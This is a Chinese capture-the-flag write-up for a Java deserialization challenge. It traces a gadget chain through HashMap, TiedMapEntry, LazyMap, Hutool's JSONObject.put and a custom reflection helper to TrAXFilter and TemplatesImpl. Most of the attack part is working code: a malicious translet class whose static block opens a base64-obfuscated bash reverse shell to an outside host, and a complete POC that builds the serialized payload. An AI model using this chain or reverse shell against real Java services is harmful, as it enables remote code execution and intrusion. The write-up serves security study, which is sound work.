cn.hutool.json.JSONObject.put->com.app.Myexpect#getAnyexcept
jdk8u202
配置好题目,利用jadx反编译代码,jdk8u202,将lib放到resource目录下
Testapp.class
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.app;
import cn.hutool.http.ContentType;
import cn.hutool.http.HttpUtil;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.util.Base64;
public class Testapp {
public static void main(String[] args) {
HttpUtil.createServer(8888).addAction("/", (request, response) -> {
String bugstr = request.getParam("bugstr");
String result = "";
if (bugstr == null) {
response.write("welcome,plz give me bugstr", ContentType.TEXT_PLAIN.toString());
}
try {
byte[] decode = Base64.getDecoder().decode(bugstr);
ObjectInputStream inputStream = new ObjectInputStream(new ByteArrayInputStream(decode));
Object object = inputStream.readObject();
result = object.toString();
} catch (Exception e) {
Myexpect myexpect = new Myexpect();
myexpect.setTypeparam(new Class[]{String.class});
myexpect.setTypearg(new String[]{e.toString()});
myexpect.setTargetclass(e.getClass());
try {
result = myexpect.getAnyexcept().toString();
} catch (Exception ex) {
result = ex.toString();
}
}
response.write(result, ContentType.TEXT_PLAIN.toString());
}).start();
}
}
很明显的反序列化,bugstr传参
lib中有CC3.2.2,但是3.2.1后常用的InvokerTransformer被列入了黑名单
根据题目提示
cn.hutool.json.JSONObject.put->com.app.Myexpect#getAnyexcept
我们去审计此方法,此方法是使用反射机制,通过构造构造函数动态出纳兼指定类的实例
public Object getAnyexcept() throws Exception {
Constructor con = this.targetclass.getConstructor(this.typeparam);
return con.newInstance(this.typearg);
}
其实看到newInstance不难想到利用CC3中的TrAXFilter然后实现Templates动态加载字节码
cn.hutool.json.JSONObject#put()
public JSONObject set(String key, Object value, Filter<MutablePair<String, Object>> filter, boolean checkDuplicate) throws JSONException {
if (null == key) {
return this;
} else {
if (null != filter) {
MutablePair<String, Object> pair = new MutablePair(key, value);
if (!filter.accept(pair)) {
return this;
}
key = (String)pair.getKey();
value = pair.getValue();
}
boolean ignoreNullValue = this.config.isIgnoreNullValue();
if (ObjectUtil.isNull(value) && ignoreNullValue) {
this.remove(key);
} else {
if (checkDuplicate && this.containsKey(key)) {
throw new JSONException("Duplicate key \"{}\"", new Object[]{key});
}
super.put(key, JSONUtil.wrap(InternalJSONUtil.testValidity(value), this.config));
}
return this;
}
}
检测各值不为空后进入到
super.put(key, JSONUtil.wrap(InternalJSONUtil.testValidity(value), this.config));
InternalJSONUtil.testValidity(value)是用来验证value是否是可序列化为 JSON 的类型
关键是wrap方法
public static Object wrap(Object object, JSONConfig jsonConfig) {
if (object == null) {
return jsonConfig.isIgnoreNullValue() ? null : JSONNull.NULL;
} else if (!(object instanceof JSON) && !ObjectUtil.isNull(object) && !(object instanceof JSONString) && !(object instanceof CharSequence) && !(object instanceof Number) && !ObjectUtil.isBasicType(object)) {
try {
if (object instanceof SQLException) {
return object.toString();
} else if (!(object instanceof Iterable) && !ArrayUtil.isArray(object)) {
if (!(object instanceof Map) && !(object instanceof Map.Entry)) {
if (!(object instanceof Date) && !(object instanceof Calendar) && !(object instanceof TemporalAccessor)) {
if (object instanceof Enum) {
return object.toString();
} else {
return ClassUtil.isJdkClass(object.getClass()) ? object.toString() : new JSONObject(object, jsonConfig);
}
} else {
return object;
}
} else {
return new JSONObject(object, jsonConfig);
}
} else {
return new JSONArray(object, jsonConfig);
}
} catch (Exception var3) {
return null;
}
} else {
return object instanceof Number && null != jsonConfig.getDateFormat() ? new NumberWithFormat((Number)object, jsonConfig.getDateFormat()) : object;
}
}
检测当value不为所检测类型时,最后会走到 return new JSONObject(object, jsonConfig)调用其构造函数,然后会读取到bean的所有getter所以链子就比较明确了
那么该如何触发put方法呢

这里LazyMap的get方法,可以看到可以调用自定的put方法,链子也很清晰
java.utilHashMap#readObject()->
java.util.HashMap#putVal()->
java.util.HashMap#hash()->
org.apache.commons.collections.keyvalue.TiedMapEntry#hashCode()->
org.apache.commons.collections.keyvalue.TiedMapEntry#getValue()->
org.apache.commons.collections.map.LazyMap#get()->
cn.hutool.json.JSONObject#put()->
com.app.Myexpect#getAnyexcept()->
TrAXFilter#TrAXFilter()->
TemplatesImpl
跟着链子自己走一下
HashMap#readObject
// HashMap反序列化时
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// ...
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false); // 关键!这里会调用hash(key)
}
}、
hash(key) 调用 TiedMapEntry#hashCode()
// HashMap.hash()
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
// 因为key是TiedMapEntry,所以会调用TiedMapEntry.hashCode()
TiedMapEntry#hashCode() 调用 getValue()
// TiedMapEntry.hashCode()
public int hashCode() {
Object value = getValue(); // 关键在这里
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
TiedMapEntry#getValue() 调用 LazyMap#get()
// TiedMapEntry.getValue()
public Object getValue() {
return this.map.get(this.key); // map是LazyMap,key是"aaa"
}
LazyMap#get() 调用 factory.transform()
// LazyMap.get()
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key); // factory是ConstantTransformer
super.map.put(key, value);
return value;
}
return super.map.get(key);
}
ConstantTransformer#transform() 返回 Myexpect 对象
// ConstantTransformer.transform()
public Object transform(Object input) {
return this.iConstant; // 返回Myexpect对象
}
LazyMap#get() 返回 Myexpect 后,回到 TiedMapEntry#hashCode()
// 回到TiedMapEntry.hashCode()
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode()); // value.hashCode()调用Myexpect.hashCode()
JSONObject#put() 触发 Myexpect#getAnyexcept()
// 在LazyMap.get()中
Object value = this.factory.transform(key);
super.map.put(key, value); // 这里!super.map是JSONObject,所以会调用JSONObject.put()
最后就触发TrAXFilter和Templateslmpl
恶意类
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class shell extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zOXh4eHh4eHh4eC8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers)
throws TransletException {}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
throws TransletException {}
}
POC:
import cn.hutool.json.JSONObject;
import com.app.Myexpect;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class poc_load {
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("F:\\fastjson西湖论剑1.2.48链子\\api\\ez_api\\untitled2\\src\\main\\java\\shell.class"));
TemplatesImpl templates = (TemplatesImpl)getTemplates(code);
Myexpect expect = new Myexpect();
expect.setTypeparam(new Class[]{javax.xml.transform.Templates.class});
expect.setTargetclass(com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter.class);
expect.setTypearg(new Object[]{templates});
JSONObject json = new JSONObject();
json.put("111","222");
ConstantTransformer constantTransformer = new ConstantTransformer(1);
Map<Object,Object> lazyMap = LazyMap.decorate(json,constantTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"aaa");
HashMap<Object,Object> hashmap = new HashMap<>();
hashmap.put(tiedMapEntry, "3");
lazyMap.remove("aaa");
setFieldValue(constantTransformer,"iConstant", expect);
setFieldValue(lazyMap,"factory",constantTransformer);
// 生成Base64编码的payload
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(hashmap); // 序列化HashMap对象,这样才能触发HashMap#readObject()
oos.close();
byte[] byteArray = baos.toByteArray();
String base64Payload = Base64.getEncoder().encodeToString(byteArray);
System.out.println("Base64 Payload (HashMap):");
System.out.println(base64Payload);
}
public static Object getTemplates(byte[] bytes)throws Exception{
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","a");
byte[][] codes = {bytes};
setFieldValue(templates,"_bytecodes",codes);
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
return templates;
}
public static void setFieldValue(Object object, String field_name, Object field_value) throws NoSuchFieldException, IllegalAccessException{
Class c = object.getClass();
Field field = c.getDeclaredField(field_name);
field.setAccessible(true);
field.set(object, field_value);
}
}
